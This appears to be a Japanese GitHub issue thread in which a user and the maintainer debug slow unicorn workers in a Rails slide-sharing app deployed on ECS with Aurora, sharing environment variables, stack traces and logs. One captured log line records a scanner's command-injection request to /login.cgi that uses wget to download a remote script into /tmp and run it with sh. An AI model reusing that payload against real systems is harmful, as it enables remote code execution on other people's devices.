bundler: failed to load command: unicorn_rails (/opt/application/current/vendor/bundle/ruby/2.5.0/bin/unicorn_rails)
LoadError: Could not load 'active_record/connection_adapters/mysql_adapter'. Make sure that the adapter in config/database.yml is valid. If you use an adapter other than 'mysql2', 'postgresql' or 'sqlite3' add the necessary adapter gem to the Gemfile.
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `block in require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:258:in `load_dependency'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/dependencies.rb:292:in `require'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activerecord-5.1.6/lib/active_record/connection_adapters/connection_specification.rb:186:in `spec'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activerecord-5.1.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:880:in `establish_connection'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activerecord-5.1.6/lib/active_record/connection_handling.rb:58:in `establish_connection'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activerecord-5.1.6/lib/active_record/railtie.rb:124:in `block (2 levels) in <class:Railtie>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/lazy_load_hooks.rb:69:in `instance_eval'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/lazy_load_hooks.rb:69:in `block in execute_hook'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/lazy_load_hooks.rb:60:in `with_execution_control'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/lazy_load_hooks.rb:65:in `execute_hook'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/lazy_load_hooks.rb:41:in `block in on_load'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/lazy_load_hooks.rb:40:in `each'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/lazy_load_hooks.rb:40:in `on_load'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/activerecord-5.1.6/lib/active_record/railtie.rb:120:in `block in <class:Railtie>'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:30:in `instance_exec'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:30:in `run'
/opt/application/current/vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/initializable.rb:59:in `block in run_initializers'
/root/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tsort.rb:228:in `block in tsort_each'
基本的には無指定で確認をしているのですが、指定してみると想定しない挙動のような気がします
あとworker数を変化させても、unicornプロセスが再起動する挙動は変わりませんでした
現時点ではECSコンテナ→Aurora5.7間の接続に問題があるのではないかと思い、調査を進めております
OSS_DB_ENGINE
については指定しないで大丈夫です。なお、ドライバ名で指定する必要があり、どうしても明文化して指定したい場合はmysql2
と指定していただくことになります。ドキュメントに2
が抜けてましたが修正済です
こちらで再現しなくなった際に指定している環境変数は以下の通りです(最低限だけ設定してます)。
なお、DBはAurora MySQL 5.6.10a
。
個人的には設定する環境変数を最小にしていただけた方が切り分けやすいと思います。
OSS_REGION=ap-northeast-1
OSS_SQS_URL=https://sqs.ap-northeast-1.amazonaws.com/xxxxxxxxxx/xxxxxxx
OSS_BUCKET_NAME=ossfiles
OSS_IMAGE_BUCKET_NAME=ossimages.ryuzee.com
OSS_DB_PASSWORD=xxxxxxx
OSS_DB_USERNAME=admin
OSS_SECRET_KEY_BASE=long1234secret5678youcanspecify12345
OSS_DB_NAME=slidehub
OSS_DB_URL=slidehub-cluster.cluster-xxxxxxx.ap-northeast-1.rds.amazonaws.com
RAILS_ENV=production
Aurora 5.7→5.6へ変化させても状況は変わらず(MySQLバージョンの問題ではなかった) 環境変数を最小にして検証を進めます
環境変数を最低(上記10個)にした状態でもwoker timeoutは発生 AWSの各設定を疑って調査を進めることに
SQS→アクセス許可 Allow Everyone All SQS Actions
S3-slide Static website hosting ⇒No CORS⇒readme.md通り バケットポリシ⇒空
S3-images Static website hosting ⇒Yes CORS⇒readme.md通り バケットポリシ⇒static配信用の設定
S3-imagesについては、hosting⇒Noのパターンも検証しておりますがうまくいっておりません お手数ですが、S3及びSQSの設定をご教授いただけますでしょうか
@Zaki-XL
起動後すぐにタイムアウトしていることから、S3の設定は関係ないです。関係あるとすれば1分ごとに処理を繰り返すSQSですが、これも以前ログを拝見して、問題ないことが確認できています。
新たに1.5.23
のコンテナイメージを作成しました。以下の環境変数を設定して試していただけますか?
以下の環境変数によって、ワーカーのタイムアウトの時間の設定と、ワーカープロセス数の設定ができるようになっています。
WEB_TIMEOUT 600 (デフォルトは15)
WEB_CONCURRENCY 2 (デフォルトは3)
@ryuzee 動作が緩慢なところは変わっていないのですが、色々変化したことがありました 根本解決はしていない状態です
環境変数
OSS_BUCKET_NAME=xxx-slides
OSS_DB_NAME=slidehub
OSS_DB_PASSWORD=YourPassW0rd
OSS_DB_URL=xxx.xxx.ap-northeast-1.rds.amazonaws.com
OSS_DB_USERNAME=slideadmin
OSS_IMAGE_BUCKET_NAME=xxx.xxx.jp
OSS_REGION=ap-northeast-1
OSS_SECRET_KEY_BASE=03659dccb3fab0cd064b2d265257e657f21d0f060853bf5fa2dd70359a23
OSS_SQS_URL=https://sqs.ap-northeast-1.amazonaws.com/xxx/xxx
RAILS_ENV=production
WEB_CONCURRENCY=2
WEB_TIMEOUT=600
サーバーリソース状態(不足は無いように見える)
top - 18:27:13 up 17 days, 6:48, 0 users, load average: 0.00, 0.00, 0.00
Tasks: 11 total, 1 running, 10 sleeping, 0 stopped, 0 zombie
%Cpu0 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu1 : 0.0 us, 0.3 sy, 0.0 ni, 99.7 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu2 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu3 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu4 : 0.0 us, 0.0 sy, 0.0 ni, 99.7 id, 0.0 wa, 0.0 hi, 0.0 si, 0.3 st
%Cpu5 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu6 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu7 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu8 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu9 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu10 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu11 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu12 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu13 : 0.3 us, 0.0 sy, 0.0 ni, 99.7 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu14 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu15 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 30858880 total, 1432760 used, 29426120 free, 161180 buffers
KiB Swap: 0 total, 0 used, 0 free. 603596 cached Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1 root 20 0 55888 14244 6516 S 0.0 0.0 0:01.41 superviso+
10 root 20 0 17992 2952 2692 S 0.0 0.0 0:00.07 oss_docke+
root@cad72b374341:/opt/application/current# free
total used free shared buffers cached
Mem: 30858880 1432760 29426120 92 161180 603596
-/+ buffers/cache: 667984 30190896
Swap: 0 0 0
root@cad72b374341:/opt/application/current#
unicorn.log(15s timeoutからのリスタートが無くなった)
nicorn.log 374341:/opt/application/current# tailf /opt/application/current/log/un
I, [2018-06-18T15:45:21.507826 #12] INFO -- : Refreshing Gem list
I, [2018-06-18T15:45:26.135990 #12] INFO -- : listening on addr=0.0.0.0:3000 fd=12
I, [2018-06-18T15:45:26.136125 #12] INFO -- : listening on addr=/tmp/unicorn.sock fd=13
I, [2018-06-18T15:45:26.140919 #305] INFO -- : worker=0 ready
I, [2018-06-18T15:45:26.141286 #12] INFO -- : master process ready
I, [2018-06-18T15:45:26.142352 #308] INFO -- : worker=1 ready
unicorn.log
D, [2018-06-18T18:09:47.197636 #305] DEBUG -- : (3.0ms) BEGIN
D, [2018-06-18T18:09:47.201008 #305] DEBUG -- : (2.8ms) COMMIT
I, [2018-06-18T18:09:52.160576 #308] INFO -- : Started GET "/login.cgi?cli=aa%20aa%27;wget%20http://xxx.xxx.xxx.xxx/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$" for 203.92.73.121 at 2018-06-18 18:09:52 +0900
D, [2018-06-18T18:09:52.168705 #308] DEBUG -- : User Load (2.6ms) SELECT `users`.* FROM `users` WHERE `users`.`username` = 'login' LIMIT 1
F, [2018-06-18T18:09:52.169374 #308] FATAL -- :
F, [2018-06-18T18:09:52.169427 #308] FATAL -- : ActionController::RoutingError (No route matches [GET] "/login.cgi"):
F, [2018-06-18T18:09:52.169461 #308] FATAL -- :
F, [2018-06-18T18:09:52.169509 #308] FATAL -- : vendor/bundle/ruby/2.5.0/gems/actionpack-5.1.6/lib/action_dispatch/middleware/debug_exceptions.rb:63:in `call'
vendor/bundle/ruby/2.5.0/gems/actionpack-5.1.6/lib/action_dispatch/middleware/show_exceptions.rb:31:in `call'
vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/rack/logger.rb:36:in `call_app'
vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/rack/logger.rb:26:in `call'
vendor/bundle/ruby/2.5.0/gems/actionpack-5.1.6/lib/action_dispatch/middleware/remote_ip.rb:79:in `call'
vendor/bundle/ruby/2.5.0/gems/actionpack-5.1.6/lib/action_dispatch/middleware/request_id.rb:25:in `call'
vendor/bundle/ruby/2.5.0/gems/rack-2.0.5/lib/rack/method_override.rb:22:in `call'
vendor/bundle/ruby/2.5.0/gems/rack-2.0.5/lib/rack/runtime.rb:22:in `call'
vendor/bundle/ruby/2.5.0/gems/activesupport-5.1.6/lib/active_support/cache/strategy/local_cache_middleware.rb:27:in `call'
vendor/bundle/ruby/2.5.0/gems/actionpack-5.1.6/lib/action_dispatch/middleware/executor.rb:12:in `call'
vendor/bundle/ruby/2.5.0/gems/actionpack-5.1.6/lib/action_dispatch/middleware/static.rb:125:in `call'
vendor/bundle/ruby/2.5.0/gems/rack-2.0.5/lib/rack/sendfile.rb:111:in `call'
vendor/bundle/ruby/2.5.0/gems/railties-5.1.6/lib/rails/engine.rb:522:in `call'
vendor/bundle/ruby/2.5.0/gems/unicorn-5.4.0/lib/unicorn/http_server.rb:606:in `process_client'
vendor/bundle/ruby/2.5.0/gems/unicorn-5.4.0/lib/unicorn/http_server.rb:701:in `worker_loop'
vendor/bundle/ruby/2.5.0/gems/unicorn-5.4.0/lib/unicorn/http_server.rb:549:in `spawn_missing_workers'
vendor/bundle/ruby/2.5.0/gems/unicorn-5.4.0/lib/unicorn/http_server.rb:142:in `start'
vendor/bundle/ruby/2.5.0/gems/unicorn-5.4.0/bin/unicorn_rails:209:in `<top (required)>'
vendor/bundle/ruby/2.5.0/bin/unicorn_rails:23:in `load'
vendor/bundle/ruby/2.5.0/bin/unicorn_rails:23:in `<top (required)>'
bundler (1.16.1) lib/bundler/cli/exec.rb:75:in `load'
bundler (1.16.1) lib/bundler/cli/exec.rb:75:in `kernel_load'
bundler (1.16.1) lib/bundler/cli/exec.rb:28:in `run'
bundler (1.16.1) lib/bundler/cli.rb:424:in `exec'
bundler (1.16.1) lib/bundler/vendor/thor/lib/thor/command.rb:27:in `run'
bundler (1.16.1) lib/bundler/vendor/thor/lib/thor/invocation.rb:126:in `invoke_command'
bundler (1.16.1) lib/bundler/vendor/thor/lib/thor.rb:387:in `dispatch'
bundler (1.16.1) lib/bundler/cli.rb:27:in `dispatch'
bundler (1.16.1) lib/bundler/vendor/thor/lib/thor/base.rb:466:in `start'
bundler (1.16.1) lib/bundler/cli.rb:18:in `start'
bundler (1.16.1) exe/bundle:30:in `block in <top (required)>'
bundler (1.16.1) lib/bundler/friendly_errors.rb:122:in `with_friendly_errors'
bundler (1.16.1) exe/bundle:22:in `<top (required)>'
/root/.rbenv/versions/2.5.0/bin/bundle:23:in `load'
/root/.rbenv/versions/2.5.0/bin/bundle:23:in `<main>'
D, [2018-06-18T18:10:02.029498 #18068] DEBUG -- : (2.8ms) SET NAMES utf8, @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'), @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
D, [2018-06-18T18:10:02.035573 #18068] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
I, [2018-06-18T18:10:28.161352 #305] INFO -- : Started GET "/custom/override.css" for xxx.xxx.xxx.xxx at 2018-06-18 18:10:28 +0900
I, [2018-06-18T18:10:28.162164 #305] INFO -- : Processing by Custom::CssController#show as CSS
I, [2018-06-18T18:10:28.170085 #305] INFO -- : Rendering custom/css/show.css.erb
D, [2018-06-18T18:10:28.173230 #305] DEBUG -- : Setting Load (2.5ms) SELECT `settings`.* FROM `settings`
I, [2018-06-18T18:10:28.173816 #305] INFO -- : Rendered custom/css/show.css.erb (3.7ms)
I, [2018-06-18T18:10:28.173974 #305] INFO -- : Completed 200 OK in 12ms (Views: 1.6ms | ActiveRecord: 5.0ms)
D, [2018-06-18T18:10:28.177246 #305] DEBUG -- : (2.6ms) BEGIN
D, [2018-06-18T18:10:28.180531 #305] DEBUG -- : (2.6ms) COMMIT
毎回出ているわけではないのですが、FATALがログに出ました 挙動をみていると、
と言う感じで、ログが出力される処理の前でつまっている感じです
@Zaki-XL
ログを見ると、攻撃先を探しているようなlogin.cgi
へのアクセスで、これは404になるので、出ているエラーログ自体は正しいです。
SQLの実行が数msecで終わっていて、サーバーリソースに余裕もあるので、あとは怪しいのはasset pipelineな気がします。
こちらでECS環境を作っても発生しないのが謎なところではありますが、いくつかいじくれるパラメータがあるのでしばらくお待ちください。
1.5.24
を用意してみました
production.logに何も出なくなったのですが、どこか他にログが出る感じでしょうか?
productionのログレベルを:warnに変更したので、警告以上のみ表示されます。相変わらず遅いですか?
相変わらず遅いですね…
F, [2018-06-19T11:59:01.762004 #302] FATAL -- :
F, [2018-06-19T11:59:01.762145 #302] FATAL -- : ActionController::RoutingError (No route matches [GET] "/phpadmin/index.php"):
F, [2018-06-19T11:59:01.762182 #302] FATAL -- :
F, [2018-06-19T11:59:01.762236 #302] FATAL -- : vendor/bundle/ruby/2.5.0/gems/actionpack-5.1.6/lib/action_dispatch/middleware/debug_exceptions.rb:63:in `call'
と言う感じでルーターがマッチしないのが気になってます
@Zaki-XL routeがマッチしないのは存在しないURLだからで、これ自体は正常です。気にしなくて大丈夫です。
遅いのはasset compile絡みだと思うのですが、こちらで再現できないので少々難儀ですね... うまく切り分ける方法がないか考えてみます
期待薄ですが、1.5.25
を用意しました...
@ryuzee 残念ながら変わらないですね…
@ryuzee 質問なのですが、override.cssの中身がコメントだけで空なのは仕様なのでしょうか どうもoverride.cssの中身を作る処理で待たされているような印象があるのですが
ブラウザに来ているoverride.css
/* custom css */
起動後、unidcorn.logをみるとworkerプロセスが再起動しているようにみえます コンテナ内のunicorn.logを添付いたします